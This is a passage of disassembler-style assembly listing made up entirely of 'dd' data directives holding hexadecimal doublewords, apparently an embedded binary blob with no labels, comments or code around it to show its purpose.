		dd 0A3AD51FDh, 4888D49Ch, 28451119h, 58B0626Dh,	6BC81458h
		dd 12D68E9Ch, 158C880Fh, 243D3C58h, 0F05B0A5h, 48409D26h
		dd 65B88D46h, 41B30382h, 0EE93C756h, 8358B5F9h,	0A40A6A80h
		dd 70B01F66h, 0F43C42E6h, 0B848EC76h, 860796C8h, 0F5FA95FCh
		dd 0E84067C5h, 9326080Fh, 8050E3EAh, 12B7E1F0h,	31FC8C72h
		dd 431451E0h, 14C441B0h, 77D12634h, 0E45B15h, 0C6168004h
		dd 7E8A59Bh, 1CACDDB5h,	76DED0D9h, 22240FF0h, 0AB093808h
		dd 26B0215Ch, 6AE165FBh, 98EF8C48h, 151B0890h, 12011484h
		dd 668CBD91h, 0C1450BE8h, 539BC281h, 0DC4886F7h, 7D78C7F8h
		dd 0AB151CFCh, 0F9E60D7Fh
		dd 0FFC843C1h, 0DE540E0h, 0CC105360h, 224E90Bh,	0E62DE0C9h
		dd 0C8850254h, 449840A7h, 0B739A835h, 0E8E1CF05h, 4C908FC5h
		dd 49908Ah, 0DF10EFACh,	0CBAB7ABCh, 502460F9h, 3F461820h
		dd 179F2E4h, 41EB8FB7h,	95DB928Ch, 0B4E108h, 307CD64Ch
		dd 6DA5DDh, 0DEDAF814h,	0C6865F74h, 947868C0h, 4810E96Ah
		dd 0E8008C07h, 6B0C5B1Ch, 77028E17h, 0AF2BE331h, 0DF94A0A1h
		dd 0E32CE18h, 5BAC7BA7h, 5A69A30Eh, 50EEAC90h, 5CEDCF00h
		dd 0BBDB86BAh, 0D41518E6h, 9BC0702Dh, 0EA38B50Ch, 7F5110h
		dd 22865504h, 0FD016F9h, 61F44CA0h, 9F76E083h, 0C57CF6h
		dd 43E34C96h, 0FCF73C50h, 7FAA0D0Fh, 24F380A4h,	5D3468h
		dd 11AB12CAh, 0D35679CFh, 6603E300h, 4B19C00Eh,	45581C2Ah
		dd 5571C020h, 0AFA9C44Ch, 5E43C107h, 8DF08335h,	0C2A102h
		dd 0E890104Eh, 8B8D8B7h, 3ED1F700h, 0D5D05803h,	0ABF0019Fh
		dd 0EF2BB9B2h, 6A83FC1Eh, 0E5C79B00h, 2C532A19h, 0EB870027h
		dd 0D371FE13h, 5800F8C5h, 4B63B80Ah, 1070B78h, 18B63AE7h
		dd 0E4E99DFAh, 0CE0F996Eh, 0FD87ACA5h, 0D37C5D40h, 986B799Ah
		dd 7E9100D7h, 7ADBB5F9h, 0D03EFE84h, 0E02CE0B4h, 0B9A84Eh
		dd 3D9E412Eh, 4FC12F20h, 0BEA1EA01h, 0BF6B8A69h, 1EA305D0h
		dd 1F9C38F6h, 820806Ah,	5F7C6E90h, 0E5F1C500h, 5A2E2612h
		dd 0C76B1F37h, 0FA9A1E11h, 0D5046C29h, 3E1897D8h, 9200126Eh
		dd 0EC1FA907h, 9C00CF06h, 1CB97F7Dh, 71868DEh, 3EB6797h
		dd 6EF3210Ch, 13288843h, 2193849Dh, 645B0857h, 99874478h
		dd 4F1DFC44h, 0E508B18Fh, 2B145F94h, 0BA3A0828h, 26630474h
		dd 711D0402h, 9D437F48h, 37A128D1h, 0ABF21014h,	0C244765Eh
		dd 79566FBBh, 7B84F2C8h, 37045DBEh, 0C9324480h,	29D6DF46h
		dd 40342C38h, 0BB1885Bh, 42D72800h, 0A69B0DF9h,	73770758h
		dd 478AC57Ah, 68A0FE1Dh, 4841FFD0h, 6900E9E6h, 21296A3h
		dd 7747571h, 9C0D94B6h,	0BBD303A0h, 21957A80h, 9F32060Eh
		dd 0D58D2059h, 6D4E72h,	0FFDD086Eh, 0E8DE5020h,	88ECA500h
		dd 46F287B3h, 0A9AC1E1Dh, 369E13h, 0E07EE8F5h, 7A00582Eh
		dd 0AF5EDCFCh, 9F038Fh,	0AA3E3D56h, 15BB6401h, 0FD419503h
		dd 9009FFDBh, 0B9E9D5h,	3E115B89h, 6B9E707Eh, 0A6001490h
		dd 77B019D0h, 3064D1C8h, 0EA9005EFh, 0F80E9F30h, 4136FC59h
		dd 0C17FBE5Fh, 0BFFAC2D8h, 460F2B70h, 0C024B6EFh, 0DD67CD2Ah
		dd 321F003Bh, 37C565FFh, 9300D29Fh, 1BACCEE7h, 0F20584h
		dd 66F4C34Eh, 977E2273h, 88692333h, 0ACCCA8C9h,	9F6000F6h
		dd 0BAB003CBh, 0A4005CE1h, 0F37997Dh, 672F12h, 0B2B9567Bh
		dd 6845D179h, 197AC700h, 0BF6EE7B8h, 1B851C7Fh,	0C0BB8394h
		dd 0DC809EF0h, 40009DFFh, 7B5E22B2h, 0C6AE86h, 0A3CB8364h
		dd 63B94245h, 5D0F99F8h, 60EF0ABFh, 0BDC1984Eh,	0D020049h
		dd 0D0EBE537h, 6015D47h, 434CDD68h, 90C8FC34h, 0ABAA0082h
		dd 4F6783A5h, 0FF00E7A0h, 29B0A4BDh, 9E31B8h, 0C4B91BB3h
		dd 4F65ED32h, 0ACF21500h, 0E08360FBh, 797F0107h, 43C622A6h
		dd 4778C88Fh, 8EE8E402h, 40A72C33h, 1D59E8h, 0D41B0CAh
		dd 0B52798FEh, 299C0800h, 927AD7E1h, 52EF04C2h,	80711F5Ch
		dd 847C3CDCh, 0E165F100h, 0C1FA4F78h, 6D8A0006h, 7E5FD90Ch
		dd 8F2F0385h, 92F587Fh,	0AC77A35h, 8E160000h, 0A000E653h
		dd 551D5E1Eh, 0A0E21FA7h, 0D2C690h, 4C826637h, 2A40828h
		dd 21BC2200h, 46E15A3Bh, 85E40062h, 0B04449F7h,	3201F21Ch
		dd 0B3695523h, 6C861AFh, 7C6C007Ah, 4E8DE395h, 0ABF836D6h
		dd 1849C800h, 1605938h,	8715002Eh, 0E085D046h, 68005D0Ah
		dd 0C5FC3575h, 3A3D6232h, 7804DAFh, 0EDE64592h,	2A0282DCh
		dd 0DB7E054Ch, 0B000E0D3h, 491F00ACh, 625669F1h, 7D0F349Dh
		dd 4045F9CFh, 2EABCBB7h, 44F8CF0Ch, 0B833409Eh,	0A08F1C81h
		dd 0B29BD400h, 2F255BF4h, 209200EBh, 97C1B470h,	2B12CA2Eh
		dd 0C4187813h, 48FAC80Eh, 67399092h, 56DA8680h,	0A0A25153h
		dd 3B29AB00h, 0F1887762h, 843C00BCh, 0D3F99AE2h, 0A30128ADh
		dd 687A41B4h, 8430EC16h, 25FA0077h, 50390CA4h, 0A13FFF62h
		dd 0D43D80E8h, 38D9B374h, 75BB26ECh, 0AB001F4h,	0F053E07Ch
		dd 4900043Fh, 0AEECB3B7h, 17EF919Bh, 0AA7D4Dh, 1BC4F45Ch
		dd 61035F39h, 0DEBC3B85h, 0F97C0E7h, 98660310h,	0DAA35747h
		dd 2CFF0DA8h, 0F37A1B1Eh, 0F83F3083h, 1C8D8065h, 0A0230190h
		dd 0A5FCA97Eh, 0B783DC92h, 0C8CE700h, 0C641ABE9h, 196D0767h
		dd 0E13D5AACh, 0D01FA03Fh, 0DAF86A66h, 0CC24A100h, 0AE309041h
		dd 4BF200A6h, 0AC643C69h, 7A00278Eh, 0E93B3414h, 172E1793h
		dd 4CB5B83h, 0C05929BBh, 0B4549004h, 35A5BB00h,	0FB662327h
		dd 26467C06h, 182EDBh, 751BA8DEh, 0E80039A1h, 0CD9BA619h
		dd 275EB5h, 0A99D37B8h,	0F3EB5DFFh, 9741C0Eh, 0CFA4000Ah
		dd 981E49h, 59913795h, 0BEDEC64Fh, 2396EF04h, 30C04A1Bh
		dd 60EE1Fh, 0C9399588h,	582733A4h, 0BAC78100h, 0E49F1A9Ah
		dd 0D91F0383h, 8FCAE818h, 0F85CA5F8h, 3C004998h, 227F2AC5h
		dd 3D31D70Ah, 0C23F7AE7h, 0F7E42301h, 0D8BA64F6h, 0A14CF34Eh
		dd 1B3D0004h, 0D1C5B51Eh, 1F490E07h, 50001276h,	75035BA5h
		dd 593E8700h, 0FD02BD20h, 70410054h, 76D9B948h,	5000FFA8h
		dd 317EFAD4h, 2083DD0Dh, 0C31EA91Bh, 79405E6Ah,	14D75238h
		dd 30738Dh, 8C514A19h, 435396A8h, 0ABF6F90Bh, 720C01F7h
		dd 0E3ECFD2Eh, 38A90051h, 431A7A28h, 0D10080BCh, 88D3798Dh
		dd 9BF212h, 57831556h, 0A78576C8h, 54714300h, 38E3F6E5h
		dd 4718042Eh, 803F037Ah, 5D5F9E14h, 3D3A1903h, 980D6848h
		dd 1D785449h, 3036B1Ah,	5C916F70h, 66E0BCC0h, 13856700h
		dd 0D293F008h, 1C9D0030h, 4EB85BCFh, 0F7005E29h, 1A03F845h
		dd 1AEC447h, 410D80D2h,	0C4BA823Fh, 5E076D2Eh, 0DB61DA7Eh
		dd 0A25B5891h, 6CC49461h, 0AED003DFh, 5E77733Ch, 0EBF2440Fh
		dd 0D6ABE0F8h, 2B382CEh, 0DC5AEA8h, 40FD3096h, 0F81B216Eh
		dd 0CC34500Ch, 17CE0E0h, 8D70572Ah, 0ECCEFC7Eh,	2406A02Dh
		dd 0FA7F774Eh, 98B41408h, 9100B0F5h, 8441B76Fh,	4C75ED9Dh
		dd 0C7516C1Eh, 0B2E686C3h, 887AA1C0h, 76E4030h,	6B0EDAB1h
		dd 0BDEEB1Eh, 0F3E42600h, 9447CE3h, 54768801h, 7A955201h
		dd 0AD696094h, 0CC71F900h, 0CBDC05C6h, 54F03Dh,	83E8797Ch
		dd 0B4AE574Ch, 158BC71Ch, 0B84FCF40h, 0BA6EFBh,	93A9E612h
		dd 5A65BE2Fh, 0C5BA200h, 15E7130Bh, 2AFE6Fh, 0AB2705B8h
		dd 3002D6EFh, 70078C00h, 86017AE9h, 0CACC0015h,	0EA768A4Fh
		dd 44005305h, 3AB4FACEh, 0CFFE2Ah, 83CDB11Ch, 3FBC725h
		dd 0B73BA6FAh, 0E5CC0001h, 21942C5Dh, 0DAEC0384h, 0D04402BCh
		dd 31836DD8h, 9C01FE74h, 131223B5h, 0CFECD5D7h,	8264038Ah
		dd 0A63F88A2h, 0C286E5C0h, 46594100h, 1BCB1AFBh, 95D11F6Ch
		dd 5EB00B4h, 619A7AD2h,	0F74EBC0Fh, 0CFA2A0CBh,	60C2E3E9h
		dd 828B10F4h, 0DDFEF017h, 71050200h, 4DC6D586h,	3F79004Bh
		dd 0D8E5E98Fh, 0B424F50Ch, 4A03ED82h, 0AFC57569h, 9218FD40h
		dd 815400E1h, 24A75378h, 0B20E1BD2h, 0A1D5C7D3h, 0D84BCDBCh
		dd 0BBC0033h, 7D7E0443h, 0A1C20F27h, 0E6EE2A30h, 812BC7E0h
		dd 63003C6Fh, 0C16408BEh, 15C28Eh, 6EA1B68Ah, 4DCDA57Bh
		dd 61885100h, 3410E8B1h
		dd 69AB3F5Eh, 6DF2E300h, 0AE22C8C7h, 0A2125F2Eh, 3E5BD700h
		dd 0E44EC514h, 0CE7A0EF3h, 13E03F5Eh, 0A02B9A6Ch, 23025971h
		dd 654C3C87h, 7DE07790h, 6C7214F1h, 89BECB05h, 0DE821EBAh
		dd 0F9D640B4h, 0DA8D4C38h, 0F422F602h, 0CCE003B9h, 8B05895h
		dd 0E8C19907h, 938EFh, 48E2029Ch, 5B7630CAh, 0B1B84010h
		dd 743F1302h, 50800DC0h, 7C2A207Ch, 0F1431B09h,	0A300E11Eh
		dd 7FBA92C0h, 0A11C03A7h, 516A0DF3h, 88C074EAh,	8906FF0Ch
		dd 923085F0h, 8A3A0060h, 5B63E9A7h, 5000FAAEh, 5FA92C1Ch
		dd 6E705F2h, 1ED3FD20h,	6000A1D6h, 0C5622907h, 26E07B6Ah
		dd 15ED18Ah, 2C039BA8h,	9888A055h, 16284D00h, 0F4040A8Fh
		dd 0A4390E8Dh, 0B66037BFh, 0DB1CC232h, 0FB382100h, 0BBABD86Bh
		dd 0E9B3005Fh, 0DDC18334h, 9700B9E8h, 399A30F9h, 73DFF2Ch
		dd 529526EFh, 0F96497A2h, 0C9A4C303h, 0E44D85F1h, 4000F77Bh
		dd 1ABCD84Eh, 81E3E7h, 0F9CEEA55h, 69D1EB91h, 6CCD3400h
		dd 0B639FC66h, 8BE600EEh, 0BFB9479Bh, 96ECB46Bh, 0BE00B077h
		dd 0A72AE0FDh, 0FC9F97FCh, 6A0D602Fh, 6827DFCAh, 0A0C29A1Fh
		dd 12957D00h, 0ED20E3h,	0B77C871Dh, 0B1151EE9h,	60984900h
		dd 3ACEFF30h, 626403FCh, 943893ACh, 0B06DC6F0h,	82B72D39h
		dd 1BE07814h, 10A0808Ch, 0DA9C2Fh, 3E607032h, 33587427h
		dd 25BB0E3Dh, 5A5BE030h, 80D40EFBh, 0DC20963Ah,	0FE621BAAh
		dd 41990A12h, 0A6C6AA00h, 30836468h, 0CCC084BDh, 0F30BCF3Ah
		dd 20BF4616h, 7DD0558h,	1FBA00E2h, 0F383A66Bh, 0EA389ED3h
		dd 0EB6E0E74h, 0B040C004h, 9066CFh, 601D0936h, 980D10B2h
		dd 9E282B03h, 0E82E46A8h, 0CAAF4Ch, 0BFD5E59Ch,	0CE3FF11Fh
		dd 0B81B5600h, 80E78173h, 0CC60072Eh, 80DBA45Bh, 6F8EC9DEh
		dd 7E284E00h, 0C042B4FFh, 71A5005Ah, 1DE25DC7h,	2617B3FDh
		dd 0B00AE28h, 4C06DADEh, 9E80009Dh, 0F2A75F22h,	8460B42Fh
		dd 0A8B50129h, 632900EDh, 0F4B8FA1Dh, 1500A1EBh, 88D43C9Fh
		dd 0B6E664h, 8EC8237Ah,	4E3D980Eh, 0C971CE13h, 60297C00h
		dd 840F58h, 0AB360149h,	0E23E2E81h, 0B52B5428h,	115EB58h
		dd 27CD70DDh, 1D3A7AA8h, 3FAF40FCh, 7E394129h, 15796307h
		dd 90004898h, 0EE68222h, 0D97428C9h, 0A0F44A80h, 84E4BEE8h
		dd 0C024D402h, 80B6FB2Bh, 0AAD6E2E1h, 5B6907D8h, 0D7A47FA5h
		dd 8E1590FCh, 0B701CC49h, 1E0FD9DFh, 4CDC075Dh,	2C50037h
		dd 3DB504ADh, 0F31C5744h, 0E740A6FCh, 2FAEBAA4h, 6722003Bh
		dd 887F4293h, 72F0D35Fh, 634B2900h, 4C0E271h, 7D491674h
		dd 0E920128h, 407F0824h, 0E95B168Dh, 8718021Ch,	0FE6E5F05h
		dd 75FA8AC1h, 0F1DD080h, 36D765B5h, 0B91F02EEh,	8441BFA5h
		dd 0D5AC8074h, 649818BCh, 342F702Ch, 1E00A1FCh,	0C88081FEh
		dd 38AFDB5h, 655C4C7Bh,	64C8D625h, 3D00D3F0h, 0E48F1BA8h
		dd 7819FF3Fh, 1EF9009Ch, 5EE04A48h, 59037908h, 518FBE5h
		dd 1DCC888Dh, 787924h, 1E082A01h, 6ACEEF92h, 5AAD4401h
		dd 0F8E44C6Dh, 0F41DD320h, 1017455h, 1E403D62h,	0F8DDA649h
		dd 0FE070BE5h, 0FC76EC71h, 85280322h, 0EC00F7F4h, 7588F274h
		dd 0B4840F79h, 97E0FC0Eh, 0E4301176h, 2AF9DE00h, 788BD599h
		dd 0E97E00F2h, 1F92FB48h, 0D60143C8h, 0C3512F52h, 0B9E4BA84h
		dd 587307E8h, 0F27EDD6Ch, 7740E01Dh, 0EE009B88h, 4C97070Bh
		dd 515AD4h, 853104A9h, 7F87AD2Dh, 8A5F1F00h, 2896F359h
		dd 2EB5001Dh, 0AFBD61FFh, 0A10005E5h, 185A15B8h, 160464h
		dd 5DD22CA0h, 2927B648h, 0D1F0221Fh, 36F19F80h,	34F51Dh
		dd 3C1EDEE5h, 0A099D34Fh, 5B4C2A00h, 0A267D555h, 51631C04h
		dd 9880991h, 751DE400h,	0D6515C81h, 8CEF20F4h, 593A2206h
		dd 0B41CFDh, 390299C8h,	43672179h, 4D7E7B00h, 0F50AF252h
		dd 2A6F0355h, 649FB2BBh, 8600E2A3h, 3505070Ch, 6157EAh
		dd 0A5E4BD6Fh, 58AC2914h, 73953616h, 0DC282F19h, 0DD6ED0h
		dd 803D6B04h, 0E78641FDh, 0FF64BC28h, 40336600h, 686751CCh
		dd 5B20012h, 0FC99044Eh, 7F07F209h, 9E336F3Ah, 8F36C980h
		dd 28C98B6h, 3F4082A1h,	0C4802F12h, 4B4CF703h, 0AB09EA05h
		dd 9D80A529h, 0E3286F7Ah, 2843FBD0h, 3EE067A2h,	0EB24FEC9h
		dd 0C0A40014h, 0A0EA8F35h, 93810400h, 640E463Fh, 6CEC00D7h
		dd 0AFB677BBh, 780AC599h, 0C6BA832Dh, 6D6F6A00h, 609E8C67h
		dd 0D1B630B5h, 460EE624h, 1E3161ECh, 34ABD681h,	0FCC9F6F9h
		dd 0D34230h, 8328900Fh,	878009D9h, 32FE500h, 3AB2EE07h
		dd 0B72530BBh, 0B1B9F950h, 69772100h, 0AA710A93h, 4A1B1E03h
		dd 7B823A0Bh, 0F154DD62h, 77982043h, 0F600F85Ah, 0E4889D9Bh
		dd 4BDE020h, 3D60225Fh,	0D3F4C0E3h, 0C00681Ch, 0AED28608h
		dd 90D88C6Ch, 0AB793F14h, 4221C000h, 53367EEBh,	0B7E55200h
		dd 1A6A28EAh, 5CD75B4h,	73A6B60Eh, 94AC00E1h, 0E3BA012Fh
		dd 0AE30E512h, 26D4A000h, 4D1AB5h, 0CF238035h, 0CD814264h
		dd 7219DC03h, 0E8FEC7E0h, 7D0B4C0h, 68EB6BCh, 80DA44ECh
		dd 0A73D4F78h, 29C1A207h, 0E330BAA0h, 4B4E4CCh,	79903F94h
		dd 16C4A3h, 17FB22E4h, 0CB0518C1h, 0A87F64BAh, 0E4849890h
		dd 520D019Ah, 0BD10A1B2h, 0BF063037h, 0C56F3D00h, 0B68E68AFh
		dd 768500C4h, 0EE8DACE1h, 9A011A4Ch, 0F35D04B0h, 0D83054CFh
		dd 6F6700BCh, 7F550256h, 0DA00203Fh, 5928F552h,	23B3626h
		dd 0FF796ECh, 2B6027CCh, 0DF006647h, 0F0528B6Eh, 38FC4Eh
		dd 0D6E8D8C3h, 7689C50Bh, 0B04A8000h, 0E1374F27h, 0CE090014h
		dd 63BE0A3Eh, 68139A2Bh, 0F4070720h, 0D58528A5h, 0BF84D400h
		dd 0C09D40h, 0FEB5DB1Bh, 4174802Ah, 7309797Bh, 529948h
		dd 0ED0785A8h, 6D6E2C22h, 0C2F501B0h, 80D72DE1h, 5DBC9CE0h
		dd 0BA180Fh, 0D44AA4ADh, 7D362A76h, 2B02FA00h, 554D89Ch
		dd 33FB0098h, 125AA49Dh, 947045C9h, 0BFF26C1Dh,	89578E86h
		dd 0C300B4Ch, 0C30013E5h, 521658C5h, 700EA800h,	3819DF71h
		dd 71CAEEABh, 8D453D6Fh, 3E6C18E3h, 0AD204FBFh,	0EBB6BDAh
		dd 0C62C3B00h, 7361CDDDh, 0CFD20744h, 0EFD0F511h, 0CBA103EFh
		dd 0CDE7D667h, 0B91FF0F6h, 5DBD7D03h, 0B813AFAEh, 6040D471h
		dd 81938834h, 690F0D61h, 800B1531h, 5134716h, 56F80042h
		dd 0CE7D9772h, 81002390h, 0B9A191B3h, 0D3E3Ah, 70E59B57h
		dd 12AA3C13h, 5348D600h, 0F54B0483h, 0F77DE3h, 99180DA6h
		dd 64C1DA1h, 6CA2BF1Ch,	0BCD64A40h, 74E5592h, 9374A7D3h
		dd 0D965D07Bh, 5300ADCEh, 0EF303A81h, 3123C8Dh,	0C8FF0692h
		dd 35D0317Eh, 1D0019D1h, 0B0549ADh, 449D03h, 0E9CD3689h
		dd 3211C7BAh, 708B8C00h, 308F34A0h, 993C177Bh, 6D6C0003h
		dd 0F7B1FBD5h, 0B642511Ch, 0DDFC3341h, 4EC4E467h, 8B3D006Ah
		dd 0C049EAD6h, 60E9DBDh, 7055FA2h, 0C7403BA0h, 0E41154h
		dd 0EA456759h, 7CC53F99h, 66805001h, 0EF23A503h, 0FEA1E4h
		dd 0F5368504h, 9AD32033h, 0EC7A4600h, 4A766659h, 0F62703C1h
		dd 73A2AA2Fh, 0C8A03FBBh, 4EE407C4h, 50C92807h,	0ECC0DFDCh
		dd 717267Bh, 0BFB533E2h, 7889C35Dh, 0A585D800h,	9A456254h
		dd 0F4E4F85Ah, 0D35E000Fh, 856F5FFEh, 0E00028F3h, 83DFFDE8h
		dd 0CBAB05h, 0DC12D433h, 0DC7B42Dh, 8E00B9FAh, 8DB5C415h
		dd 0AA9436h, 289B29E2h,	399AFE72h, 7B32B900h, 0BEF140E3h
		dd 5661005Fh, 6F9E438Eh
		dd 2D2873C4h, 0A9009453h, 866EE29h, 0A9294h, 20D5A5FBh
		dd 71744603h, 80ACA139h, 63831C5Ch, 0F4622E16h,	95AF096Dh
		dd 3400900Ch, 71534408h, 320935F0h, 80E0401Eh, 1998373h
		dd 0BFFC003Eh, 549127ECh, 0E307327Ch, 4FD57353h, 0AE936917h
		dd 3DE00556h, 87A65985h, 0A44950A8h, 310EBE80h,	439656A7h
		dd 0E0D15FC0h, 174751h,	55B77A38h, 4AD65799h, 8E00A176h
		dd 11FBB4CEh, 7BE7E947h, 39BF7B89h, 5817C9DCh, 0C0B40C69h
		dd 3C00E211h, 0E84AEAC2h, 5C0687FCh, 4C063018h,	48F3027Eh
		dd 48B9C62Ah, 0B5A9032Eh, 0D8FAEF00h, 78AF9A1h,	0C902D66Dh
		dd 9636A118h, 0AEF1607Bh, 0C8CF200Fh, 73DCE0DEh, 906A1A9Eh
		dd 0E0F42Ah, 385331C6h,	277DFB74h, 5C6D8800h, 3B378ADCh
		dd 0A5D90064h, 57491B01h, 7300E9ECh, 6A71C93h, 0C2A84Ah
		dd 75B4F046h, 70DCC861h, 17224C01h, 5EF555F3h, 1322BE4h
		dd 0EBB70946h, 608A9FBEh, 0F2001B8Dh, 5D9BD304h, 0C0EA0B80h
		dd 0AA4E7D58h, 4707BE31h, 32161305h, 0E2B474C0h, 800A2842h
		dd 0D12E0E84h, 0BD20267Fh, 0DACB04E5h, 0C6088309h, 196084A3h
		dd 0F75027C0h, 24A61E35h, 62968AABh, 806501A5h,	70AAADD3h
		dd 8B0029DBh, 0DC094C43h, 18712B5Eh, 105BA02Dh,	6D00ADA6h
		dd 0D21153CEh, 989ABC55h, 0B2A880C6h, 235407D6h, 10364C6Ch
		dd 78B73D1h, 0A0F61831h, 0EDFCE726h, 371C00ADh,	1E60018Ch
		dd 0B407CDD3h, 324B6E62h, 20BCA09Fh, 0BAB87Ch, 11C801A9h
		dd 22A4046Dh, 39640604h, 65C087DFh, 3C14DE4h, 0FD9B785Fh
		dd 80A46D67h, 7B299FB8h, 21C8281Dh, 61802BDDh, 0AD1A680Bh
		dd 0FCB2033Ah, 14934827h, 91FDC7E0h, 5EF8F00h, 0DDC35D77h
		dd 0E59F447h, 8A73210Fh, 0AD0B46E0h, 0A101B78Dh, 0E7AB7813h
		dd 0FC30094Dh, 1D3D009Fh, 14AD6AA2h, 0D0703C07h, 0F9E65F09h
		dd 0E3F600C3h, 9F1A28h,	0D7FB3D7h, 0BB67325Dh, 0C6D57500h
		dd 0C5CAACDCh, 0E78E0AD3h, 20F2FC54h, 67BF0FD5h, 78FA764h
		dd 1035B881h, 2698FCADh, 91DFD200h, 0F970E6E9h,	46F60088h
		dd 2567D91Eh, 300C52Eh,	7F1ABC76h, 4D484923h, 6E00503Ah
		dd 0E9393446h, 2E13442Dh, 1301DA96h, 559101AEh,	48A4C2CCh
		dd 20428FEh, 80E2E882h,	0E71385D7h, 71455D04h, 6CD0BDB5h
		dd 30AA0AA9h, 16400FBBh, 900057Bh, 7C2FA55Fh, 7DA64193h
		dd 442200B5h, 5CD21626h, 0EB07D6D0h, 816FCB2Eh,	664D13D0h
		dd 333E0034h, 11E89927h, 0A03E321h, 0C0DF2918h,	1F60A6F0h
		dd 3DBA2B25h, 0CA6EBF00h, 61C3E37Fh, 69005CF4h,	907697EDh
		dd 92FD09A4h, 7D4B2688h, 0ECD42F4h, 149C9A00h, 0E82F5CC0h
		dd 9377E607h, 0B2A14012h, 5B01BD16h, 1788F857h,	0C44035C2h
		dd 3068623h, 0D496BAFAh, 60C8FBE5h, 0D9005C63h,	3DA52846h
		dd 192212Eh, 0CC1A4826h, 0E985608Ah, 12A720F2h,	66B6680Bh
		dd 64FC8083h, 58E7FFh, 0D152C4A8h, 9099FB3Bh, 33934B03h
		dd 8034C27Ch, 1D77E439h, 25717BEBh, 2F1261FEh, 74843805h
		dd 809E1C08h, 2072D776h, 87A3F647h, 296091C8h, 0D5078C00h
		dd 5B4E9B9Ch, 0ED452812h, 0B6C5058Ch, 0AB6A48h,	5F0E07ACh
		dd 5C053E77h, 5AC959CCh, 3A5DA8C8h, 5004D89h, 0C880DB45h
		dd 99006941h, 0E4460F1Ch, 0F930C5h, 0EA391329h,	0FE6BCC4Eh
		dd 31FA5E00h, 4C9B7107h, 0E4A5485Ah, 0B0DC7600h, 0D120574h
		dd 8C934A00h, 220C3865h, 159C1266h, 0D60003DCh,	11FA067Ah
		dd 0C4D7D8C1h, 4000BCA4h, 18345282h, 29905Ah, 0D939FE41h
		dd 1DE20609h, 365783Fh,	5152AC5Eh, 0BA7E982Bh, 5F9D0014h
		dd 92478323h, 763EE55Ah, 504E00C2h, 8A98FB1Ch, 165E446h
		dd 0BE257F9Bh, 0D090ADAAh, 6900F161h, 3A92788Fh, 6279D2h
		dd 0E97AABF3h, 0D515BD8h, 0FEF5281Dh, 4A23AF85h, 0E5F0E9C7h
		dd 7847D9AEh, 0CC1600C1h, 0F46B9C84h, 2C0178DCh, 15D103E8h
		dd 99C46ABBh, 179300A8h, 83F9578Dh, 28032059h, 0D6F81168h
		dd 0AFCAB01Ah, 847780h,	9A0A1909h, 25C2907Ah, 0F4B0431Eh
		dd 95807C26h, 299EC0E3h, 4A70008Fh, 457A6CC2h, 96E8CE8Dh
		dd 803E6D3Bh, 2F7F35BDh, 0F675482h, 23DF98EFh, 0D5160622h
		dd 5B07435Eh, 5330C660h, 0EC9F12E2h, 0EE5800A4h, 28AB4048h
		dd 6800026Dh, 0DDC05C5Dh, 120F199Bh, 137E042Fh,	6DE50018h
		dd 32187F7Ch, 0A4A92100h, 3FB65981h, 0C4CB239h,	7CBBC313h
		dd 6F005330h, 0C799F214h, 8BDCE6h, 0DFBE96Dh, 79890A5Eh
		dd 30403626h, 0F4538F80h, 7D2C04Ah, 0DA155BF8h,	78D6D041h
		dd 0F101EB19h, 0E3EC8DB0h, 80F0D324h, 6ACE00A2h, 2E7B88DCh
		dd 0E1C3874h, 0CAC0A98Eh, 5A47164Dh, 0C4FB0C7Fh, 0CB907280h
		dd 6478A500h, 0F8AAD709h, 146A165Ah, 77AC006Dh,	0A4808D1Dh
		dd 69077A0Fh, 90C9A0A6h, 7B13AAh, 0D99B3D57h, 0CA01C6BBh
		dd 0E5442A00h, 4BCD8D47h, 0B04A48A6h, 81605401h, 0F81A3518h
		dd 0F10074C9h, 2C08F0ABh, 2E3B20E9h, 7715F21h, 816D0FDFh
		dd 0EAE0D441h, 0E6CB94C0h, 5DA82F0Fh, 0C4060459h, 0C13074C0h
		dd 9D3930D2h, 0E6626678h, 64D5D324h, 6021CC42h,	5C3E8964h
		dd 6B0F04C2h, 1D402445h, 0BBC8C077h, 5107E89Ah,	5CD55593h
		dd 8B876420h, 0E2A70BAFh, 2C23B49Bh, 5900D768h,	0DCBB44B2h
		dd 25CCC67Dh, 9801369Bh, 50D0D4E2h, 3C5FA2CCh, 6503F9F8h
		dd 627E9261h, 8BC8856h,	0FEF0073Ah, 10E8BDC6h, 0D307A722h
		dd 7B470900h, 0D8DC6470h, 5F001B2h, 4BE8A218h, 8CE09692h
		dd 37ED00FBh, 0F92DA1BFh, 0E6E38017h, 4CF12C42h, 0FB494004h
		dd 256D0082h, 801A9DE4h, 0C3006F49h, 0D22839EFh, 433B95h
		dd 0E73D7799h, 0E9E05571h, 0EC9CFD07h, 7DD091C5h, 279ED93h
		dd 334486FAh, 2E0D89Dh,	312EA28Fh, 720E2060h, 874C0088h
		dd 11199D5h, 388BC6DCh,	20AE2A97h, 5F4DDA6Dh, 76BA0EF8h
		dd 47E84077h, 30469C2h,	0C6EC01A0h, 0C7AF79EBh,	654A009Ch
		dd 76176CA2h, 0B8004F22h, 5B8D10F1h, 108EFD58h,	0DD41887Fh
		dd 0E90F21B8h, 69F6E80Eh, 0C202AE98h, 50F16C15h, 148960A4h
		dd 3F482C10h, 80AC181Ch, 5C002D7Fh, 0EB37DE3h, 9AB86h
		dd 0F5A65D90h, 5AD299F6h, 683CC000h, 5CE10D87h,	8D8F0124h
		dd 0DF3594FFh, 0F511E07Ah, 9A06DA00h, 0B601AF52h, 6CE60065h
		dd 70EC051Ch, 0CA03033Ah, 0B3625BE9h, 0D3110094h, 0AEFA4493h
		dd 5C0FC0BAh, 8002E6C5h, 0E598998Dh, 0D4A800F2h, 0DF701630h
		dd 9E0089B8h, 866BCE7h,	2F4522h, 50C5C690h, 0B0E6B5C2h
		dd 0BF2B0700h, 96DED358h, 0CE3C1E08h, 266EB9h, 468382A3h
		dd 6100B1A6h, 4EC48BA0h, 87DC5Ch, 72E16089h, 0A9EA3791h
		dd 5AB8C74Eh, 2BFF9300h, 0D8193062h, 6A70BE74h,	0DF867A00h
		dd 7CC3C5E8h, 1AC8003Bh, 0A71BD9D1h, 5900B491h,	65FCE57Fh
		dd 51A57Eh, 8219F79h, 0C13DCE76h, 94059C92h, 6773E98Fh
		dd 0BD3C7880h, 0A136003Eh, 0AF1AB499h, 82012EB0h, 418B9364h
		dd 28F890B1h, 596D003Dh, 6485D92h, 72F67FB9h, 0EAFEFFE0h
		dd 57DCCFA0h, 0E7511700h, 77A68D86h, 0F9A00AAh,	21F44D58h
		dd 36F48771h, 0E7FE700h, 2C57CF9h, 0F894FAB6h, 0D8743E0Fh
